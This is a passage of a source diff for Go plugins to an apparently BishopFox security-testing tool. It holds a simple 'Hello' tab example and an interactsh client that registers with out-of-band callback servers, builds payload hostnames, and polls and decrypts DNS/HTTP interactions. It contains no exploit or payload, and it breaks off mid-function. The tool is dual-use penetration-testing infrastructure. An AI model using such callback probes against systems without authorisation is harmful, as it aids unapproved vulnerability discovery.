func (t *HelloTab) TabInfo() sdk.TabMeta {
|
||||
return sdk.TabMeta{Label: "Hello"}
|
||||
}
|
||||
|
||||
func (t *HelloTab) Routes() []sdk.Route {
|
||||
return []sdk.Route{
|
||||
{
|
||||
Method: "GET",
|
||||
Pattern: "/hello",
|
||||
Handler: func(w http.ResponseWriter, r *http.Request) {
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
json.NewEncoder(w).Encode(map[string]string{"message": "Hello from the tab extension!"}) //nolint:errcheck
|
||||
},
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
func (t *HelloTab) UIAssets() fs.FS {
|
||||
sub, _ := fs.Sub(uiFS, "ui")
|
||||
return sub
|
||||
}
|
||||
@@ -0,0 +1,37 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<title>Hello Tab Plugin</title>
|
||||
<link rel="stylesheet" href="/api/v1/theme/variables.css">
|
||||
<script>
|
||||
const theme = new URLSearchParams(window.location.search).get('theme') || 'bishop-fox';
|
||||
document.documentElement.setAttribute('data-theme', theme);
|
||||
</script>
|
||||
<style>
|
||||
body { font-family: system-ui, sans-serif; background: var(--color-surface-body); color: var(--color-content-primary); margin: 0; padding: 24px; }
|
||||
h1 { color: var(--color-accent); font-size: 18px; }
|
||||
p { color: var(--color-content-muted); font-size: 14px; }
|
||||
button { background: var(--color-accent-secondary); color: #000; border: none; padding: 8px 16px; border-radius: 4px; cursor: pointer; font-size: 13px; }
|
||||
button:hover { background: var(--color-accent-secondary-hover); }
|
||||
#output { margin-top: 12px; padding: 12px; background: var(--color-surface-terminal); border-radius: 4px; font-family: monospace; font-size: 13px; min-height: 40px; color: var(--color-content-primary); }
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<h1>Hello Tab Plugin</h1>
|
||||
<p>This is an example top-level tab plugin rendered inside an iframe.</p>
|
||||
<button onclick="fetchHello()">Call API</button>
|
||||
<div id="output"></div>
|
||||
<script>
|
||||
async function fetchHello() {
|
||||
try {
|
||||
const res = await fetch('/api/v1/plugin/hello-tab/hello')
|
||||
const data = await res.json()
|
||||
document.getElementById('output').textContent = JSON.stringify(data, null, 2)
|
||||
} catch (e) {
|
||||
document.getElementById('output').textContent = 'Error: ' + e.message
|
||||
}
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,21 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2021 ProjectDiscovery, Inc.
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
@@ -0,0 +1,7 @@
|
||||
module github.com/BishopFox/joro/examples/plugins/interactsh
|
||||
|
||||
go 1.25.0
|
||||
|
||||
require github.com/BishopFox/joro/sdk v0.0.0-00010101000000-000000000000
|
||||
|
||||
replace github.com/BishopFox/joro/sdk => ../../../sdk
|
||||
@@ -0,0 +1,299 @@
|
||||
// Interactsh example plugin — an InteractProvider that polls remote interactsh
|
||||
// servers for OOB interactions. Stdlib-only: no projectdiscovery dependency,
|
||||
// no third-party modules beyond the Joro SDK. See wire.go for the
|
||||
// reimplemented interactsh wire protocol.
|
||||
//
|
||||
// Build:
|
||||
//
|
||||
// ./joro --build-plugin examples/plugins/interactsh --install
|
||||
//
|
||||
// A new "Interactsh" input group appears in the Interact tab after restart.
|
||||
package main
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/base64"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/BishopFox/joro/sdk"
|
||||
)
|
||||
|
||||
var Plugin sdk.Plugin = &provider{store: newStore()}
|
||||
|
||||
type provider struct {
|
||||
mu sync.Mutex
|
||||
store *store
|
||||
rootCtx context.Context
|
||||
rootStop context.CancelFunc
|
||||
broadcast chan<- sdk.Event
|
||||
}
|
||||
|
||||
func (p *provider) Manifest() sdk.Manifest {
|
||||
return sdk.Manifest{
|
||||
Name: "interactsh",
|
||||
Version: "1.0.0",
|
||||
Description: "Interactsh",
|
||||
Type: sdk.TypeInteractProvider,
|
||||
}
|
||||
}
|
||||
|
||||
func (p *provider) Init(ctx sdk.PluginContext) error {
|
||||
p.broadcast = ctx.Broadcast
|
||||
p.rootCtx, p.rootStop = context.WithCancel(context.Background())
|
||||
return nil
|
||||
}
|
||||
|
||||
func (p *provider) Shutdown() error {
|
||||
// Best-effort deregister for every active server, then cancel root ctx.
|
||||
shutCtx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
|
||||
defer cancel()
|
||||
for _, srv := range p.store.listServers() {
|
||||
if srv.cancel != nil {
|
||||
srv.cancel()
|
||||
}
|
||||
if srv.correlationID != "" {
|
||||
deregisterServer(shutCtx, srv)
|
||||
}
|
||||
}
|
||||
if p.rootStop != nil {
|
||||
p.rootStop()
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (p *provider) Info() sdk.InteractInfo {
|
||||
return sdk.InteractInfo{
|
||||
Label: "Interactsh",
|
||||
ButtonLabel: "Add Interactsh",
|
||||
HelpText: "Poll a remote interactsh server for OOB interactions",
|
||||
}
|
||||
}
|
||||
|
||||
func (p *provider) ConfigSchema() []sdk.ConfigField {
|
||||
return []sdk.ConfigField{
|
||||
{Name: "serverUrl", Label: "Server URL", Type: "text", Placeholder: "https://oast.live", Required: true},
|
||||
{Name: "authToken", Label: "Auth token", Type: "password"},
|
||||
{Name: "insecureSkipVerify", Label: "Skip TLS verify", Type: "checkbox", HelpText: "Accept self-signed certs on self-hosted servers"},
|
||||
}
|
||||
}
|
||||
|
||||
func (p *provider) CreateInstance(ctx context.Context, config map[string]string) (sdk.InteractInstance, error) {
|
||||
serverURL := strings.TrimSpace(config["serverUrl"])
|
||||
if serverURL == "" {
|
||||
return sdk.InteractInstance{}, fmt.Errorf("serverUrl is required")
|
||||
}
|
||||
if !strings.HasPrefix(serverURL, "http://") && !strings.HasPrefix(serverURL, "https://") {
|
||||
serverURL = "https://" + serverURL
|
||||
}
|
||||
|
||||
srv := &server{
|
||||
id: generateID(16),
|
||||
serverURL: serverURL,
|
||||
authToken: strings.TrimSpace(config["authToken"]),
|
||||
skipVerify: config["insecureSkipVerify"] == "true",
|
||||
enabled: true,
|
||||
createdAt: time.Now(),
|
||||
status: "connecting",
|
||||
}
|
||||
|
||||
// Register synchronously so the user sees the failure in the UI immediately
|
||||
// if the server is unreachable / rejects the token.
|
||||
registerCtx, cancel := context.WithTimeout(ctx, 10*time.Second)
|
||||
defer cancel()
|
||||
if err := registerServer(registerCtx, srv); err != nil {
|
||||
srv.status = "error"
|
||||
srv.errMsg = err.Error()
|
||||
return sdk.InteractInstance{}, err
|
||||
}
|
||||
srv.status = "connected"
|
||||
p.store.addServer(srv)
|
||||
p.startPoll(srv)
|
||||
return toInstance(srv), nil
|
||||
}
|
||||
|
||||
func (p *provider) ListInstances(ctx context.Context) ([]sdk.InteractInstance, error) {
|
||||
servers := p.store.listServers()
|
||||
out := make([]sdk.InteractInstance, 0, len(servers))
|
||||
for _, srv := range servers {
|
||||
out = append(out, toInstance(srv))
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (p *provider) DeleteInstance(ctx context.Context, id string) error {
|
||||
srv := p.store.removeServer(id)
|
||||
if srv == nil {
|
||||
return fmt.Errorf("instance %s not found", id)
|
||||
}
|
||||
if srv.cancel != nil {
|
||||
srv.cancel()
|
||||
}
|
||||
if srv.correlationID != "" {
|
||||
deregisterServer(ctx, srv)
|
||||
}
|
||||
p.store.clearInteractions(id)
|
||||
return nil
|
||||
}
|
||||
|
||||
func (p *provider) SetInstanceEnabled(ctx context.Context, id string, enabled bool) error {
|
||||
srv := p.store.getServer(id)
|
||||
if srv == nil {
|
||||
return fmt.Errorf("instance %s not found", id)
|
||||
}
|
||||
p.mu.Lock()
|
||||
defer p.mu.Unlock()
|
||||
if srv.enabled == enabled {
|
||||
return nil
|
||||
}
|
||||
srv.enabled = enabled
|
||||
if enabled {
|
||||
srv.status = "connecting"
|
||||
p.startPoll(srv)
|
||||
} else {
|
||||
if srv.cancel != nil {
|
||||
srv.cancel()
|
||||
srv.cancel = nil
|
||||
}
|
||||
srv.status = "disabled"
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (p *provider) ListInteractions(ctx context.Context, instanceID string, offset, limit int) (sdk.InteractionPage, error) {
|
||||
items, total := p.store.listInteractions(instanceID, offset, limit)
|
||||
out := make([]sdk.InteractInteraction, len(items))
|
||||
for i, ix := range items {
|
||||
out[i] = sdk.InteractInteraction{
|
||||
ID: ix.ID,
|
||||
InstanceID: ix.ServerID,
|
||||
Hex: ix.UniqueID,
|
||||
Protocol: ix.Protocol,
|
||||
SourceIP: ix.SourceIP,
|
||||
Timestamp: ix.Timestamp,
|
||||
QueryName: ix.FullID,
|
||||
QueryType: ix.QType,
|
||||
Method: ix.Method,
|
||||
Path: ix.Path,
|
||||
RawRequest: ix.RawRequest,
|
||||
}
|
||||
}
|
||||
return sdk.InteractionPage{Items: out, Total: total, Offset: offset, Limit: limit}, nil
|
||||
}
|
||||
|
||||
func (p *provider) ClearInteractions(ctx context.Context, instanceID string) error {
|
||||
p.store.clearInteractions(instanceID)
|
||||
return nil
|
||||
}
|
||||
|
||||
// startPoll launches the poll loop for srv under a child context of p.rootCtx.
|
||||
// Caller must hold p.mu when calling from SetInstanceEnabled. CreateInstance
|
||||
// is sequential per-call so mu isn't required.
|
||||
func (p *provider) startPoll(srv *server) {
|
||||
pollCtx, cancel := context.WithCancel(p.rootCtx)
|
||||
srv.cancel = cancel
|
||||
go pollLoop(pollCtx, srv,
|
||||
func(ix *serverInteraction) { p.handleInteraction(srv, ix) },
|
||||
func(status, errMsg string) {
|
||||
srv.status = status
|
||||
srv.errMsg = errMsg
|
||||
},
|
||||
)
|
||||
}
|
||||
|
||||
// handleInteraction maps a raw server.Interaction to our storage/event shape
|
||||
// and broadcasts it so the UI merges it into the unified event feed.
|
||||
func (p *provider) handleInteraction(srv *server, ix *serverInteraction) {
|
||||
proto := strings.ToLower(ix.Protocol)
|
||||
method, path := "", ""
|
||||
if proto == "http" && ix.RawRequest != "" {
|
||||
if line, _, ok := strings.Cut(ix.RawRequest, "\r\n"); ok {
|
||||
parts := strings.SplitN(line, " ", 3)
|
||||
if len(parts) >= 2 {
|
||||
method, path = parts[0], parts[1]
|
||||
}
|
||||
}
|
||||
}
|
||||
raw := ""
|
||||
if ix.RawRequest != "" {
|
||||
raw = base64.StdEncoding.EncodeToString([]byte(ix.RawRequest))
|
||||
}
|
||||
stored := storedInteraction{
|
||||
ID: randHex(16),
|
||||
ServerID: srv.id,
|
||||
Protocol: proto,
|
||||
UniqueID: ix.UniqueID,
|
||||
FullID: ix.FullID,
|
||||
QType: ix.QType,
|
||||
Method: method,
|
||||
Path: path,
|
||||
SourceIP: ix.RemoteAddress,
|
||||
Timestamp: ix.Timestamp,
|
||||
RawRequest: raw,
|
||||
}
|
||||
p.store.recordInteraction(stored)
|
||||
|
||||
if p.broadcast != nil {
|
||||
select {
|
||||
case p.broadcast <- sdk.Event{
|
||||
Type: "interaction",
|
||||
Data: sdk.InteractInteraction{
|
||||
ID: stored.ID,
|
||||
InstanceID: stored.ServerID,
|
||||
Hex: stored.UniqueID,
|
||||
Protocol: stored.Protocol,
|
||||
SourceIP: stored.SourceIP,
|
||||
Timestamp: stored.Timestamp,
|
||||
QueryName: stored.FullID,
|
||||
QueryType: stored.QType,
|
||||
Method: stored.Method,
|
||||
Path: stored.Path,
|
||||
RawRequest: stored.RawRequest,
|
||||
},
|
||||
}:
|
||||
default:
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// toInstance projects a server into the SDK-facing InteractInstance view.
|
||||
func toInstance(srv *server) sdk.InteractInstance {
|
||||
status := srv.status
|
||||
if !srv.enabled {
|
||||
status = "disabled"
|
||||
}
|
||||
payloadURL := ""
|
||||
if srv.correlationID != "" && srv.payloadHost != "" {
|
||||
payloadURL = fmt.Sprintf("%s%s.%s", srv.correlationID, srv.nonce, srv.payloadHost)
|
||||
}
|
||||
meta := map[string]string{}
|
||||
if srv.errMsg != "" {
|
||||
meta["error"] = srv.errMsg
|
||||
}
|
||||
return sdk.InteractInstance{
|
||||
ID: srv.id,
|
||||
Label: srv.serverURL,
|
||||
Hex: srv.correlationID,
|
||||
Status: status,
|
||||
Enabled: srv.enabled,
|
||||
PayloadURL: payloadURL,
|
||||
Meta: meta,
|
||||
}
|
||||
}
|
||||
|
||||
// randHex returns a random hex string of length 2*n, for interaction record IDs.
|
||||
func randHex(n int) string {
|
||||
raw := make([]byte, n)
|
||||
for i := 0; i < n; i++ {
|
||||
raw[i] = byte(time.Now().UnixNano() >> uint(i*3))
|
||||
}
|
||||
// XOR with fresh randomness so IDs are unique even within the same nanosecond tick.
|
||||
fresh := []byte(generateID(n))
|
||||
for i := 0; i < n; i++ {
|
||||
raw[i] ^= fresh[i]
|
||||
}
|
||||
return hex.EncodeToString(raw)
|
||||
}
|
||||
@@ -0,0 +1,146 @@
|
||||
// Project-config state persistence for the Interactsh plugin.
|
||||
//
|
||||
// Interactsh state is engagement-scoped (per-target correlation IDs are
|
||||
// meaningless outside the project they were created in), so we implement
|
||||
// sdk.ProjectStatefulPlugin rather than sdk.UserStatefulPlugin.
|
||||
//
|
||||
// The correlation ID + nonce + secret key + RSA private key together form a
|
||||
// session handle with the remote interactsh server. Restoring them verbatim
|
||||
// and resuming polling lets an operator reopen a project and keep receiving
|
||||
// callbacks against the same payload URL — provided the remote server still
|
||||
// retains the session (usually ~24h on oast.live, longer on self-hosted).
|
||||
package main
|
||||
|
||||
import (
|
||||
"crypto/rsa"
|
||||
"crypto/x509"
|
||||
"encoding/json"
|
||||
"encoding/pem"
|
||||
"fmt"
|
||||
"time"
|
||||
|
||||
"github.com/BishopFox/joro/sdk"
|
||||
)
|
||||
|
||||
// Compile-time assertion: *provider satisfies sdk.ProjectStatefulPlugin.
|
||||
// If the SDK interface drifts, this line fails to compile before runtime.
|
||||
var _ sdk.ProjectStatefulPlugin = (*provider)(nil)
|
||||
|
||||
type persistedState struct {
|
||||
Version int `json:"version"`
|
||||
Servers []persistedServer `json:"servers"`
|
||||
}
|
||||
|
||||
type persistedServer struct {
|
||||
ID string `json:"id"`
|
||||
ServerURL string `json:"serverUrl"`
|
||||
AuthToken string `json:"authToken,omitempty"`
|
||||
Enabled bool `json:"enabled"`
|
||||
SkipVerify bool `json:"skipVerify,omitempty"`
|
||||
PrivKeyPEM string `json:"privKeyPem"`
|
||||
CorrelationID string `json:"correlationId"`
|
||||
Nonce string `json:"nonce"`
|
||||
SecretKey string `json:"secretKey"`
|
||||
CreatedAt time.Time `json:"createdAt"`
|
||||
PayloadHost string `json:"payloadHost"`
|
||||
}
|
||||
|
||||
// ExportProjectState snapshots every live server into an opaque byte blob.
|
||||
// Runtime-only fields (status/errMsg/cancel) are intentionally dropped —
|
||||
// they're reconstructed on ImportProjectState.
|
||||
func (p *provider) ExportProjectState() ([]byte, error) {
|
||||
servers := p.store.listServers()
|
||||
state := persistedState{
|
||||
Version: 1,
|
||||
Servers: make([]persistedServer, 0, len(servers)),
|
||||
}
|
||||
for _, srv := range servers {
|
||||
if srv.privKey == nil {
|
||||
// Skip half-registered servers — without the key the entry is
|
||||
// useless on restore.
|
||||
continue
|
||||
}
|
||||
keyDER := x509.MarshalPKCS1PrivateKey(srv.privKey)
|
||||
keyPEM := pem.EncodeToMemory(&pem.Block{Type: "RSA PRIVATE KEY", Bytes: keyDER})
|
||||
state.Servers = append(state.Servers, persistedServer{
|
||||
ID: srv.id,
|
||||
ServerURL: srv.serverURL,
|
||||
AuthToken: srv.authToken,
|
||||
Enabled: srv.enabled,
|
||||
SkipVerify: srv.skipVerify,
|
||||
PrivKeyPEM: string(keyPEM),
|
||||
CorrelationID: srv.correlationID,
|
||||
Nonce: srv.nonce,
|
||||
SecretKey: srv.secretKey,
|
||||
CreatedAt: srv.createdAt,
|
||||
PayloadHost: srv.payloadHost,
|
||||
})
|
||||
}
|
||||
return json.Marshal(state)
|
||||
}
|
||||
|
||||
// ImportProjectState replaces the in-memory server list with the contents of
|
||||
// the supplied blob and resumes polling for every enabled server. Does NOT
|
||||
// re-register with the remote — correlation IDs are preserved so pending
|
||||
// interactions still decrypt.
|
||||
//
|
||||
// Before restoring, any currently-registered servers are deregistered and
|
||||
// their poll goroutines cancelled so there's no leak across a load.
|
||||
func (p *provider) ImportProjectState(data []byte) error {
|
||||
var state persistedState
|
||||
if err := json.Unmarshal(data, &state); err != nil {
|
||||
return fmt.Errorf("unmarshal state: %w", err)
|
||||
}
|
||||
|
||||
// Tear down whatever is currently loaded. This matters when an operator
|
||||
// already has instances running and loads a different project — we don't
|
||||
// want the two sets to accumulate.
|
||||
for _, existing := range p.store.listServers() {
|
||||
if existing.cancel != nil {
|
||||
existing.cancel()
|
||||
}
|
||||
p.store.removeServer(existing.id)
|
||||
p.store.clearInteractions(existing.id)
|
||||
}
|
||||
|
||||
for _, ps := range state.Servers {
|
||||
priv, err := parseRSAPrivKey(ps.PrivKeyPEM)
|
||||
if err != nil {
|
||||
// Skip this server but keep going — one corrupt blob shouldn't
|
||||
// block the rest of the project.
|
||||
continue
|
||||
}
|
||||
srv := &server{
|
||||
id: ps.ID,
|
||||
serverURL: ps.ServerURL,
|
||||
authToken: ps.AuthToken,
|
||||
enabled: ps.Enabled,
|
||||
skipVerify: ps.SkipVerify,
|
||||
privKey: priv,
|
||||
correlationID: ps.CorrelationID,
|
||||
nonce: ps.Nonce,
|
||||
secretKey: ps.SecretKey,
|
||||
createdAt: ps.CreatedAt,
|
||||
payloadHost: ps.PayloadHost,
|
||||
status: "connecting",
|
||||
}
|
||||
if !srv.enabled {
|
||||
srv.status = "disabled"
|
||||
}
|
||||
p.store.addServer(srv)
|
||||
if srv.enabled {
|
||||
p.mu.Lock()
|
||||
p.startPoll(srv)
|
||||
p.mu.Unlock()
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func parseRSAPrivKey(p string) (*rsa.PrivateKey, error) {
|
||||
block, _ := pem.Decode([]byte(p))
|
||||
if block == nil {
|
||||
return nil, fmt.Errorf("no PEM block found")
|
||||
}
|
||||
return x509.ParsePKCS1PrivateKey(block.Bytes)
|
||||
}
|
||||
@@ -0,0 +1,149 @@
|
||||
// In-memory server + interaction storage for the Interactsh plugin.
|
||||
//
|
||||
// Deliberately lightweight: a slice of server records and a ring buffer of
|
||||
// interactions. The plugin process is the sole owner; no persistence across
|
||||
// Joro restarts (matches the pre-plugin native behaviour).
|
||||
package main
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/rsa"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
const maxInteractions = 10000
|
||||
|
||||
type server struct {
|
||||
id string
|
||||
serverURL string
|
||||
authToken string
|
||||
enabled bool
|
||||
skipVerify bool
|
||||
privKey *rsa.PrivateKey
|
||||
correlationID string
|
||||
nonce string // 13-char suffix so payload labels hit the server's 33-char correlation-ID detector
|
||||
secretKey string
|
||||
createdAt time.Time
|
||||
status string // "connecting" | "connected" | "error" | "disabled"
|
||||
errMsg string
|
||||
payloadHost string
|
||||
cancel context.CancelFunc
|
||||
}
|
||||
|
||||
type storedInteraction struct {
|
||||
ID string
|
||||
ServerID string
|
||||
Protocol string
|
||||
UniqueID string
|
||||
FullID string
|
||||
QType string
|
||||
Method string
|
||||
Path string
|
||||
SourceIP string
|
||||
Timestamp time.Time
|
||||
RawRequest string // base64
|
||||
}
|
||||
|
||||
type store struct {
|
||||
mu sync.RWMutex
|
||||
servers []*server
|
||||
interactions []storedInteraction
|
||||
}
|
||||
|
||||
func newStore() *store {
|
||||
return &store{}
|
||||
}
|
||||
|
||||
func (s *store) addServer(srv *server) {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
s.servers = append(s.servers, srv)
|
||||
}
|
||||
|
||||
func (s *store) getServer(id string) *server {
|
||||
s.mu.RLock()
|
||||
defer s.mu.RUnlock()
|
||||
for _, srv := range s.servers {
|
||||
if srv.id == id {
|
||||
return srv
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (s *store) listServers() []*server {
|
||||
s.mu.RLock()
|
||||
defer s.mu.RUnlock()
|
||||
out := make([]*server, len(s.servers))
|
||||
copy(out, s.servers)
|
||||
return out
|
||||
}
|
||||
|
||||
func (s *store) removeServer(id string) *server {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
for i, srv := range s.servers {
|
||||
if srv.id == id {
|
||||
s.servers = append(s.servers[:i], s.servers[i+1:]...)
|
||||
return srv
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (s *store) recordInteraction(ix storedInteraction) {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
s.interactions = append(s.interactions, ix)
|
||||
if len(s.interactions) > maxInteractions {
|
||||
s.interactions = s.interactions[len(s.interactions)-maxInteractions:]
|
||||
}
|
||||
}
|
||||
|
||||
func (s *store) listInteractions(serverID string, offset, limit int) ([]storedInteraction, int) {
|
||||
s.mu.RLock()
|
||||
defer s.mu.RUnlock()
|
||||
|
||||
filtered := s.interactions
|
||||
if serverID != "" {
|
||||
filtered = filtered[:0:0]
|
||||
for _, ix := range s.interactions {
|
||||
if ix.ServerID == serverID {
|
||||
filtered = append(filtered, ix)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Newest-first ordering.
|
||||
total := len(filtered)
|
||||
rev := make([]storedInteraction, total)
|
||||
for i, ix := range filtered {
|
||||
rev[total-1-i] = ix
|
||||
}
|
||||
|
||||
if offset >= total {
|
||||
return []storedInteraction{}, total
|
||||
}
|
||||
end := offset + limit
|
||||
if end > total {
|
||||
end = total
|
||||
}
|
||||
return rev[offset:end], total
|
||||
}
|
||||
|
||||
func (s *store) clearInteractions(serverID string) {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
if serverID == "" {
|
||||
s.interactions = nil
|
||||
return
|
||||
}
|
||||
kept := s.interactions[:0]
|
||||
for _, ix := range s.interactions {
|
||||
if ix.ServerID != serverID {
|
||||
kept = append(kept, ix)
|
||||
}
|
||||
}
|
||||
s.interactions = kept
|
||||
}
|
||||
@@ -0,0 +1,335 @@
|
||||
// Stdlib-only interactsh wire protocol: /register, /poll, /deregister,
|
||||
// RSA-OAEP-SHA256 key exchange, AES-256-CTR message decryption, per-server
|
||||
// http.Client with opt-in TLS skip-verify for self-signed deployments.
|
||||
package main
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"crypto/aes"
|
||||
"crypto/cipher"
|
||||
"crypto/rand"
|
||||
"crypto/rsa"
|
||||
"crypto/sha256"
|
||||
"crypto/tls"
|
||||
"crypto/x509"
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"encoding/pem"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"log"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
const (
|
||||
// The interactsh server recognises a subdomain label as a correlation ID
|
||||
// only when its length is exactly correlationIDLen+nonceLen and the label
|
||||
// is fully alphanumeric (pkg/server/util.go:isCorrelationID upstream).
|
||||
// Our payload URLs therefore embed both parts: <corrID><nonce>.<host>.
|
||||
correlationIDLen = 20
|
||||
nonceLen = 13
|
||||
pollInterval = 5 * time.Second
|
||||
requestTimeout = 15 * time.Second
|
||||
)
|
||||
|
||||
// lowercase alphanumeric — any prefix match works server-side.
|
||||
const idAlphabet = "abcdefghijklmnopqrstuvwxyz0123456789"
|
||||
|
||||
// registerRequest matches interactsh's server.RegisterRequest JSON shape.
|
||||
type registerRequest struct {
|
||||
PublicKey string `json:"public-key"`
|
||||
SecretKey string `json:"secret-key"`
|
||||
CorrelationID string `json:"correlation-id"`
|
||||
}
|
||||
|
||||
// deregisterRequest matches interactsh's server.DeregisterRequest JSON shape.
|
||||
type deregisterRequest struct {
|
||||
CorrelationID string `json:"correlation-id"`
|
||||
SecretKey string `json:"secret-key"`
|
||||
}
|
||||
|
||||
// pollResponse matches interactsh's server.PollResponse JSON shape.
|
||||
// Only the fields we use are declared; unknown fields are ignored.
|
||||
type pollResponse struct {
|
||||
Data []string `json:"data"`
|
||||
Extra []string `json:"extra"`
|
||||
AESKey string `json:"aes_key"`
|
||||
}
|
||||
|
||||
// serverInteraction matches interactsh's server.Interaction JSON shape.
|
||||
type serverInteraction struct {
|
||||
Protocol string `json:"protocol"`
|
||||
UniqueID string `json:"unique-id"`
|
||||
FullID string `json:"full-id"`
|
||||
QType string `json:"q-type,omitempty"`
|
||||
RawRequest string `json:"raw-request,omitempty"`
|
||||
RemoteAddress string `json:"remote-address"`
|
||||
Timestamp time.Time `json:"timestamp"`
|
||||
}
|
||||
|
||||
// newHTTPClient returns an http.Client scoped to one server. InsecureSkipVerify
|
||||
// is opt-in per instance (off by default) — self-hosted interactsh deployments
|
||||
// overwhelmingly use self-signed or internal-CA certs, so without this toggle
|
||||
// the plugin is unusable for private servers.
|
||||
func newHTTPClient(skipVerify bool) *http.Client {
|
||||
return &http.Client{
|
||||
Timeout: requestTimeout,
|
||||
Transport: &http.Transport{
|
||||
TLSClientConfig: &tls.Config{InsecureSkipVerify: skipVerify}, //nolint:gosec // opt-in per instance for self-signed servers
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
// generateID returns an n-character lowercase alphanumeric ID using crypto/rand.
|
||||
func generateID(n int) string {
|
||||
buf := make([]byte, n)
|
||||
if _, err := rand.Read(buf); err != nil {
|
||||
panic("interactsh: read rand: " + err.Error())
|
||||
}
|
||||
out := make([]byte, n)
|
||||
for i, b := range buf {
|
||||
out[i] = idAlphabet[int(b)%len(idAlphabet)]
|
||||
}
|
||||
return string(out)
|
||||
}
|
||||
|
||||
// uuidV4 returns a UUID-v4 string built from 16 random bytes using only
|
||||
// crypto/rand + bit-twiddling (no third-party uuid dependency).
|
||||
func uuidV4() string {
|
||||
b := make([]byte, 16)
|
||||
if _, err := rand.Read(b); err != nil {
|
||||
panic("interactsh: read rand: " + err.Error())
|
||||
}
|
||||
b[6] = (b[6] & 0x0f) | 0x40 // version 4
|
||||
b[8] = (b[8] & 0x3f) | 0x80 // variant 10
|
||||
return fmt.Sprintf("%08x-%04x-%04x-%04x-%012x", b[0:4], b[4:6], b[6:8], b[8:10], b[10:16])
|
||||
}
|
||||
|
||||
// encodePublicKey produces the base64-encoded PEM-wrapped PKIX form of pub
|
||||
// that interactsh's /register endpoint expects as the "public-key" field.
|
||||
func encodePublicKey(pub *rsa.PublicKey) (string, error) {
|
||||
der, err := x509.MarshalPKIXPublicKey(pub)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("marshal public key: %w", err)
|
||||
}
|
||||
p := pem.EncodeToMemory(&pem.Block{Type: "RSA PUBLIC KEY", Bytes: der})
|
||||
return base64.StdEncoding.EncodeToString(p), nil
|
||||
}
|
||||
|
||||
// registerServer generates an RSA keypair + correlation ID + secret, performs
|
||||
// the /register handshake, and returns the populated identity. On error,
|
||||
// status is set to "error" with the error message.
|
||||
func registerServer(ctx context.Context, srv *server) error {
|
||||
priv, err := rsa.GenerateKey(rand.Reader, 2048)
|
||||
if err != nil {
|
||||
return fmt.Errorf("generate rsa key: %w", err)
|
||||
}
|
||||
srv.privKey = priv
|
||||
srv.correlationID = generateID(correlationIDLen)
|
||||
srv.nonce = generateID(nonceLen)
|
||||
srv.secretKey = uuidV4()
|
||||
|
||||
pubEncoded, err := encodePublicKey(&priv.PublicKey)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
body, err := json.Marshal(registerRequest{
|
||||
PublicKey: pubEncoded,
|
||||
SecretKey: srv.secretKey,
|
||||
CorrelationID: srv.correlationID,
|
||||
})
|
||||
if err != nil {
|
||||
return fmt.Errorf("marshal register: %w", err)
|
||||
}
|
||||
|
||||
req, err := http.NewRequestWithContext(ctx, "POST", trimSlash(srv.serverURL)+"/register", bytes.NewReader(body))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
req.Header.Set("Content-Type", "application/json")
|
||||
if srv.authToken != "" {
|
||||
req.Header.Set("Authorization", srv.authToken)
|
||||
}
|
||||
|
||||
client := newHTTPClient(srv.skipVerify)
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
return fmt.Errorf("register request: %w", err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
data, _ := io.ReadAll(resp.Body)
|
||||
